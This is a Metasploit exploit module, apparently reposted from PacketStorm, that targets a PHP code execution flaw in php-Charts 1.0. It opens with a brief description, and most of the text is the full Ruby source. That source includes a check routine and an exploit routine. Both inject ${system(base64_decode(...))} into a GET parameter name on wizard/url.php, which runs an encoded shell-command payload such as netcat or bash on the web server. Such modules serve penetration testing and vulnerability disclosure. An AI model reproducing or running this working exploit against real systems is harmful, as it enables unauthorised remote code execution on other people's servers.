PHP-Charts 1.0 PHP Code Execution

[Praetorian503]

This Metasploit module exploits a PHP code execution vulnerability in php-Charts version 1.0 which could be abused to allow users to execute arbitrary PHP code under the context of the webserver user. The 'url.php' script calls eval() with user controlled data from any HTTP GET parameter name.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
      'Description'    => %q{
        This module exploits a PHP code execution vulnerability in php-Charts
        version 1.0 which could be abused to allow users to execute arbitrary
        PHP code under the context of the webserver user. The 'url.php' script
        calls eval() with user controlled data from any HTTP GET parameter name.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkaStep', # Discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
        ],
      'References'     =>
        [
          ['OSVDB', '89334'],
          ['BID', '57448'],
          ['EDB',   '24201']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x22",
          'Compat'      =>
            {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
            }
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 16 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
      ], self.class)
  end

  def check

    base  = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer  = "#{rhost}:#{rport}"
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
    code  = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
    rand_key_value = rand_text_alphanumeric(rand(10)+6)

    # send check
    print_status("#{peer} - Sending check")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
      })

      if res and res.body =~ /#{fingerprint}/
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{peer} - Connection failed")
    end
    return Exploit::CheckCode::Unknown

  end

  def exploit

    base  = target_uri.path
    base << '/' if base[-1, 1] != '/'
    @peer = "#{rhost}:#{rport}"
    code  = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
    rand_key_value = rand_text_alphanumeric(rand(10)+6)

    # send payload
    print_status("#{@peer} - Sending payload (#{code.length} bytes)")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
      })
      if res and res.code == 500
        print_good("#{@peer} - Payload sent successfully")
      else
        fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    end

  end
end

Source: PacketStorm